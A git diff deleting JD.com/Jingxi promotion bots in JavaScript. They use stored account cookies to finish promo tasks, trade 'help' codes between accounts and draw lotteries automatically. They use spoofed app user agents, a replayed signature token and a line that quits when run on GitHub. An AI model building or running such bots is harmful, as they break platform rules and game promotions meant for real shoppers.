-// } -// } - -// $.get(options, async (err, resp, data) => { -// try { -// console.log(data) -// data = data.match(/(\{[^()]+\}.+)/)[1] - -// //console.log(data) -// const reust = JSON.parse(data) -// //console.log(reust) -// if (reust.errcode == 0) { -// $.launchid = restlt.launchid -// $.log(`\n参加砍价成功 你当前商品邀请码:${restlt.launchid}`) - -// // } -// } else - -// console.log(data.msg) -// } catch (e) { -// $.logErr(e, resp); -// } finally { -// resolve(); -// } -// }); -// }); -// } - - -function help() { - // console.debug($.signle_launchid) - return new Promise(async (resolve) => { - - let options = { - url: `https://m.jingxi.com/kjactive/jxhlk/jxhlk_queryhelp?launchid=${$.signle_launchid}&clicktype=1&nomoving=0&_stk=clicktype,launchid,nomoving&_ste=1&h5st=20210611141713782;4277367680239161;10029;tk01wea971d94a8nWUlYSjgyLzZKSU1igyCeoCUlN/xTTrRT7O3uvmUqievWdR1PWX5HYelOXXDFofE6gtFirtyXBLjY;787c9125d6eaf59d5fb81bcdea2b58481e4e395402191379b47fbec7470c67b3&t=1623392233807&_=1623392233808&sceneval=2&g_login_type=1&g_ty=ls`, - - headers: { - "Referer": `https://st.jingxi.com/sns/202103/20/jxhlk/list.html?launchid=${$.signle_launchid}&ptag=139022.1.2&srv=jx_cxyw_https://wq.jd.com/cube/front/activePublish/jxhlkv2/486449.html?ptag=139022.1.2_jing`, - "Host": "m.jingxi.com", - "User-Agent": "jdpingou;iPhone;4.8.0;14.3;9714ccbf07209f246277896ef7c041f3bb571ca3;network/wifi;model/iPhone9,2;appBuild/100540;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/22;pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148", - "Cookie": cookie, - } - } - - $.get(options, async (err, resp, data) => { - try { - - data = data.match(/(\{[^()]+\}.+)/)[1] - - // console.debug(data) - const reust = JSON.parse(data) - //console.log(reust) - if (reust.errcode == 0) { - //$.launchid=restlt.launchid - $.log(`\n${reust.data.guestinfo.contenttips}`) - - // } - } else - - console.log(data.msg) - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} - -async function taskPostUrl(functionId, body) { - return { - url: `${JD_API_HOST}`, - body: `functionId=${functionId}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&appid=content_ecology&uuid=6898c30638c55142969304c8e2167997fa59eb54&t=1622588448365`, - headers: { - 'Cookie': cookie, - 'Host': 'api.m.jd.com', - 'Connection': 'keep-alive', - 'Content-Type': 'application/x-www-form-urlencoded', - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - } - } -} - - -async function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data["retcode"] === 13) { - $.isLogin = false; //cookie过期 - return; - } - if (data["retcode"] === 0) { - $.nickName = (data["base"] && data["base"].nickname) || $.UserName; - } else { - $.nickName = $.UserName; - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -async function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore - -function Env(t, e) { - "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); - class s { - constructor(t) { this.env = t } - send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } - get(t) { return this.send.call(this.env, t) } - post(t) { return this.send.call(this.env, t, "POST") } - } - return new class { - constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } - isNode() { return "undefined" != typeof module && !!module.exports } - isQuanX() { return "undefined" != typeof $task } - isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } - isLoon() { return "undefined" != typeof $loon } - toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } - toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } - getjson(t, e) { - let s = e; - const i = this.getdata(t); - if (i) try { s = JSON.parse(this.getdata(t)) } catch {} - return s - } - setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } - getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } - runScript(t, e) { - return new Promise(s => { - let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); - i = i ? i.replace(/\n/g, "").trim() : i; - let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); - r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; - const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; - this.post(n, (t, e, i) => s(i)) - }).catch(t => this.logErr(t)) - } - loaddata() { - if (!this.isNode()) return {}; { - this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); - const t = this.path.resolve(this.dataFile), - e = this.path.resolve(process.cwd(), this.dataFile), - s = this.fs.existsSync(t), - i = !s && this.fs.existsSync(e); - if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } - } - } - writedata() { - if (this.isNode()) { - this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); - const t = this.path.resolve(this.dataFile), - e = this.path.resolve(process.cwd(), this.dataFile), - s = this.fs.existsSync(t), - i = !s && this.fs.existsSync(e), - r = JSON.stringify(this.data); - s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) - } - } - lodash_get(t, e, s) { - const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); - let r = t; - for (const t of i) - if (r = Object(r)[t], void 0 === r) return s; - return r - } - lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } - getdata(t) { - let e = this.getval(t); - if (/^@/.test(t)) { - const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; - if (r) try { - const t = JSON.parse(r); - e = t ? this.lodash_get(t, i, "") : e - } catch (t) { e = "" } - } - return e - } - setdata(t, e) { - let s = !1; - if (/^@/.test(e)) { - const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; - try { - const e = JSON.parse(h); - this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) - } catch (e) { - const o = {}; - this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) - } - } else s = this.setval(t, e); - return s - } - getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } - setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } - initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } - get(t, e = (() => {})) { - t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => {!t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { - const { statusCode: s, statusCode: i, headers: r, body: o } = t; - e(null, { status: s, statusCode: i, headers: r, body: o }, o) - }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { - try { - if (t.headers["set-cookie"]) { - const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); - s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar - } - } catch (t) { this.logErr(t) } - }).then(t => { - const { statusCode: s, statusCode: i, headers: r, body: o } = t; - e(null, { status: s, statusCode: i, headers: r, body: o }, o) - }, t => { - const { message: s, response: i } = t; - e(s, i, i && i.body) - })) - } - post(t, e = (() => {})) { - if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => {!t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); - else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { - const { statusCode: s, statusCode: i, headers: r, body: o } = t; - e(null, { status: s, statusCode: i, headers: r, body: o }, o) - }, t => e(t)); - else if (this.isNode()) { - this.initGotEnv(t); - const { url: s, ...i } = t; - this.got.post(s, i).then(t => { - const { statusCode: s, statusCode: i, headers: r, body: o } = t; - e(null, { status: s, statusCode: i, headers: r, body: o }, o) - }, t => { - const { message: s, response: i } = t; - e(s, i, i && i.body) - }) - } - } - time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } - msg(e = t, s = "", i = "", r) { - const o = t => { - if (!t) return t; - if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; - if ("object" == typeof t) { - if (this.isLoon()) { - let e = t.openUrl || t.url || t["open-url"], - s = t.mediaUrl || t["media-url"]; - return { openUrl: e, mediaUrl: s } - } - if (this.isQuanX()) { - let e = t["open-url"] || t.url || t.openUrl, - s = t["media-url"] || t.mediaUrl; - return { "open-url": e, "media-url": s } - } - if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } - } - }; - if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { - let t = ["", "==============📣系统通知📣=============="]; - t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) - } - } - log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } - logErr(t, e) { - const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); - s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) - } - wait(t) { return new Promise(e => setTimeout(e, t)) } - done(t = {}) { - const e = (new Date).getTime(), - s = (e - this.startTime) / 1e3; - this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) - } - }(t, e) -} diff --git a/backUp/jd_ldhwj.js b/backUp/jd_ldhwj.js deleted file mode 100644 index 41a2849..0000000 --- a/backUp/jd_ldhwj.js +++ /dev/null @@ -1,404 +0,0 @@ -/* -tgchannel:https://t.me/Ariszy8028 -github:https://github.com/Ariszy/Private-Script -boxjs:https://raw.githubusercontent.com/Ariszy/Private-Script/master/Ariszy.boxjs.json - -[task_local] -#来电好物季 -10 1 * * * https://raw.githubusercontent.com/Ariszy/Private-Script/master/JD/zy_ryhxj.js, tag= 来电好物季 -================Loon============== -[Script] -cron "10 1 * * *" script-path= https://raw.githubusercontent.com/Ariszy/Private-Script/master/JD/zy_ldhwj.js,tag= 来电好物季 -===============Surge================= -来电好物季 = type=cron,cronexp="10 1 * * *",wake-system=1,timeout=3600,script-path= https://raw.githubusercontent.com/Ariszy/Private-Script/master/JD/zy_ldhwj.js -============小火箭========= -来电好物季 = type=cron,script-path= https://raw.githubusercontent.com/Ariszy/Private-Script/master/JD/zy_ldhw.js, cronexpr="10 1 * * *", timeout=3600, enable=true -*/ -const $ = new Env('来电好物季') -const notify = $.isNode() ?require('./sendNotify') : ''; -cookiesArr = [] -CodeArr = [] -cookie = '' -var list2tokenArr = [],list4tokenArr = [],list6tokenArr = [],list5tokenArr = [],list4tokenArr = [],list3tokenArr = [],list1tokenArr = [],list2tokenArr = [],listtokenArr = [] -var taskid,token,helpcode; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -let tz = ($.getval('tz') || '1');//0关闭通知,1默认开启 -const invite=1;//新用户自动邀请,0关闭,1默认开启 -const logs =0;//0为关闭日志,1为开启 -var hour='' -var minute='' -if ($.isNode()) { - hour = new Date( new Date().getTime() + 8 * 60 * 60 * 1000 ).getHours(); - minute = new Date( new Date().getTime() + 8 * 60 * 60 * 1000 ).getMinutes(); -}else{ - hour = (new Date()).getHours(); - minute = (new Date()).getMinutes(); -} -//CK运行 -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [ - $.getdata("CookieJD"), - $.getdata("CookieJD2"), - ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); -} - -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - for (let i =0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - message = '' - $.isLogin = true; - $.index = i + 1; - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { - "open-url": "https://bean.m.jd.com/bean/signIndex.action" - }); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - - await gethelpcode() - await getlist() - await Ariszy() - await zy() - - } -for(let i = 0; i < cookiesArr.length; i++){ - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - message = '' - $.isLogin = true; - $.index = i + 1; - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}助力模块*********\n`); - - await control() - await userScore() -} - -})() - .catch((e) => $.logErr(e)) - .finally(() => $.done()) - - -function PostRequest(uri,body) { - const url = `https://api.m.jd.com/client.action`; - const method = `POST`; - const headers = {"Accept": "application/json, text/plain, */*", -"Accept-Encoding": "gzip, deflate, br", -"Accept-Language": "zh-cn", -"Connection": "keep-alive", -"Content-Type": "application/x-www-form-urlencoded", -"Cookie": cookie, -"Host": "api.m.jd.com", -"User-Agent": "jdapp;iPhone;10.0.6;14.4;0bcbcdb2a68f16cf9c9ad7c9b944fd141646a849;network/4g;model/iPhone12,1;addressid/2377723269;appBuild/167724;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1" -} - return {url: url, method: method, headers: headers, body: body}; -} - -async function doTask(){ - const body = `functionId=harmony_collectScore&body=%7B%22appId%22%3A%221E1NYw6w%22%2C%22taskToken%22%3A%22${token}%22%2C%22taskId%22%3A${taskid}%2C%22actionType%22%3A1%7D&client=wh5&clientVersion=1.0.0` - const MyRequest = PostRequest(``,body) - return new Promise((resolve) => { - $.post(MyRequest,async(error, response, data) =>{ - try{ - const result = JSON.parse(data) - if(logs)$.log(data) - if(result.code == 0){ - console.log("\n"+result.data.bizMsg+"\n") - await $.wait(6000) - }else{ - $.log(result.data.bizMsg+"\n") - } - }catch(e) { - $.logErr(e, response); - } finally { - resolve(); - } - }) - }) - } -async function DoTask(){ - const body = `functionId=harmony_collectScore&body=%7B%22appId%22%3A%221E1NYw6w%22%2C%22taskToken%22%3A%22${token}%22%2C%22taskId%22%3A${taskid}%2C%22actionType%22%3A0%7D&client=wh5&clientVersion=1.0.0` - const MyRequest = PostRequest(``,body) - return new Promise((resolve) => { - $.post(MyRequest,async(error, response, data) =>{ - try{ - const result = JSON.parse(data) - if(logs)$.log(data) - if(result.data.bizCode == 0){ - console.log(result.data.bizMsg+"获得"+result.data.result.score+";共有"+result.data.result.userScore+"\n") - await $.wait(4000) - }else{ - console.log(result.data.bizMsg+"\n") - } - }catch(e) { - $.logErr(e, response); - } finally { - resolve(); - } - }) - }) - } -async function Lottery(){ - const body = `functionId=healthyDay_getLotteryResult&body=%7B%22appId%22%3A%221E1NYwqc%22%2C%22taskId%22%3A2%7D&client=wh5&clientVersion=1.0.0` - const MyRequest = PostRequest(``,body) - return new Promise((resolve) => { - $.post(MyRequest,async(error, response, data) =>{ - try{ - const result = JSON.parse(data) - if(logs)$.log(data) - if(result.data.bizCode == 0){ - console.log("\n获得"+result.data.result.userAwardsCacheDto.jBeanAwardVo.prizeName+"\n") - await $.wait(4000) - }else{ - $.log(result.data.bizMsg+"\n") - } - }catch(e) { - $.logErr(e, response); - } finally { - resolve(); - } - }) - }) - } -async function getLottery(){ - const body = `functionId=interact_template_getLotteryResult&body=%7B%22appId%22:%221E1NYw6w%22%7D&client=wh5&clientVersion=1.0.0` - const MyRequest = PostRequest(``,body) - return new Promise((resolve) => { - $.post(MyRequest,async(error, response, data) =>{ - try{ - const result = JSON.parse(data) - if(logs)$.log(data) - if(result.data.bizCode == 0 && result.data.result.lotteryReturnCode == 0){ - console.log("\n获得"+result.data.result.userAwardsCacheDto.jBeanAwardVo.prizeName+"\n") - await $.wait(4000) - }else{ - $.log("恭喜你,抽中了0豆豆\n") - } - }catch(e) { - $.logErr(e, response); - } finally { - resolve(); - } - }) - }) - } -async function Ariszy(){ - for(let j = 0; j < listtokenArr.length; j++){ - token = list2tokenArr[j] - taskid = listtokenArr[j].match(/\d+/) - $.log("TaskId:"+taskid) - $.log("Token:"+token) - await doTask() - await DoTask() - } - -} -async function zy(){ - listtokenArr.splice(0,listtokenArr.length); - list2tokenArr.splice(0,list2tokenArr.length); -} -async function control(){ - for(let i = 0; i < list6tokenArr.distinct().length; i++){ - helpcode = list6tokenArr[i] - await dosupport() - await $.wait(4000) -} -} -async function dosupport(){ - const body = `functionId=harmony_collectScore&body=%7B%22appId%22%3A%221E1NYw6w%22%2C%22taskToken%22%3A%22${helpcode}%22%2C%22taskId%22%3A12%2C%22actionType%22%3A0%7D&client=wh5&clientVersion=1.0.0` - const MyRequest = PostRequest(``,body) - return new Promise((resolve) => { - $.post(MyRequest,async(error, response, data) =>{ - try{ - const result = JSON.parse(data) - if(logs)$.log(data) - if(result.data.bizCode == 0){ - console.log(result.data.bizMsg+"获得"+result.data.result.score+";共有"+result.data.result.userScore+"\n") - await $.wait(4000) - }else{ - console.log(result.data.bizMsg+"\n") - } - }catch(e) { - $.logErr(e, response); - } finally { - resolve(); - } - }) - }) - } -async function getlist(){ - const MyRequest = PostRequest(``,`functionId=healthyDay_getHomeData&body={"appId":"1E1NYw6w","taskToken":"","channelId":1}&client=wh5&clientVersion=1.0.0`) - return new Promise((resolve) => { - $.post(MyRequest,async(error, response, data) =>{ - try{ - const result = JSON.parse(data) - if(logs)$.log(data) - if(result.code == 0){ - console.log("查看任务列表\n") - let list1 = result.data.result.taskVos.find(item => item.taskId == 1) - - listtokenArr.push(1+list1.simpleRecordInfoVo.taskToken) -list2tokenArr.push(list1.simpleRecordInfoVo.taskToken) - - - let list2 = result.data.result.taskVos.find(item => item.taskId == 2) - for(let i = 0; i < list2.shoppingActivityVos.length; i ++){ - listtokenArr.push(2+list2.shoppingActivityVos[i].taskToken) -list2tokenArr.push(list2.shoppingActivityVos[i].taskToken) - } - - let list6 = result.data.result.taskVos.find(item => item.taskId == 6) - for(let i = 0; i < list6.shoppingActivityVos.length; i ++){ - listtokenArr.push(6+list6.shoppingActivityVos[i].taskToken) -list2tokenArr.push(list6.shoppingActivityVos[i].taskToken) - } - - let list4 = result.data.result.taskVos.find(item => item.taskId == 4) - for(let i = 0; i < list4.shoppingActivityVos.length; i ++){ - listtokenArr.push(4+list4.shoppingActivityVos[i].taskToken) -list2tokenArr.push(list4.shoppingActivityVos[i].taskToken) - } - - let list5 = result.data.result.taskVos.find(item => item.taskId == 5) - for(let i = 0; i < list5.shoppingActivityVos.length; i ++){listtokenArr.push(5+list5.shoppingActivityVos[i].taskToken) -list2tokenArr.push(list5.shoppingActivityVos[i].taskToken) -//$.log(list5.shoppingActivityVos[i].taskToken) - } - // $.log(JSON.stringify(listtokenArr)) - - }else{ - $.log(result.data.bizMsg+"\n") - } - }catch(e) { - $.logErr(e, response); - } finally { - resolve(); - } - }) - }) - } - -async function gethelpcode(){ - const MyRequest = PostRequest(``,`functionId=healthyDay_getHomeData&body={"appId":"1E1NYw6w","taskToken":"","channelId":1}&client=wh5&clientVersion=1.0.0`) - return new Promise((resolve) => { - $.post(MyRequest,async(error, response, data) =>{ - try{ - const result = JSON.parse(data) - if(logs)$.log(data) - if(result.code == 0){ - -let list11 = result.data.result.taskVos.find(item => item.taskId == 11) - - - list4tokenArr.push(11+list11.assistTaskDetailVo.taskToken) -list6tokenArr.push(list11.assistTaskDetailVo.taskToken) - - }else{ - $.log(result.data.bizMsg+"\n") - } - }catch(e) { - $.logErr(e, response); - } finally { - resolve(); - } - }) - }) - } - -async function userScore(){ - const MyRequest = PostRequest(``,`functionId=healthyDay_getHomeData&body={"appId":"1E1NYw6w","taskToken":"","channelId":1}&client=wh5&clientVersion=1.0.0`) - return new Promise((resolve) => { - $.post(MyRequest,async(error, response, data) =>{ - try{ - const result = JSON.parse(data) - if(logs)$.log(data) - if(result.code == 0){ - let userScore = result.data.result.userInfo.userScore - $.log("共有电力值:"+userScore+";开始抽奖"+Math.floor(userScore/100)+"次") - for(let i = 0; i < Math.floor(userScore/100); i++){ - await getLottery() - } - }else{ - $.log(result.data.bizMsg+"\n") - } - }catch(e) { - $.logErr(e, response); - } finally { - resolve(); - } - }) - }) - } -//showmsg -//boxjs设置tz=1,在12点<=20和23点>=40时间段通知,其余时间打印日志 - -async function showmsg() { - if (tz == 1) { - if ($.isNode()) { - if ((hour == 12 && minute <= 20) || (hour == 23 && minute >= 40)) { - await notify.sendNotify($.name, message) - } else { - $.log(message) - } - } else { - if ((hour == 12 && minute <= 20) || (hour == 23 && minute >= 40)) { - $.msg(zhiyi, '', message) - } else { - $.log(message) - } - } - } else { - $.log(message) - } -} -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, "", "不要在BoxJS手动复制粘贴修改cookie"); - return []; - } - } -} -Array.prototype.distinct = function (){ - var arr = this, - result = [], - len = arr.length; - arr.forEach(function(v, i ,arr){ //这里利用map,filter方法也可以实现 - var bool = arr.indexOf(v,i+1); //从传入参数的下一个索引值开始寻找是否存在重复 - if(bool === -1){ - result.push(v); - } - }) - return result; -}; -function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`\ud83d\udd14${this.name}, \u5f00\u59cb!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),a={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(a,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let 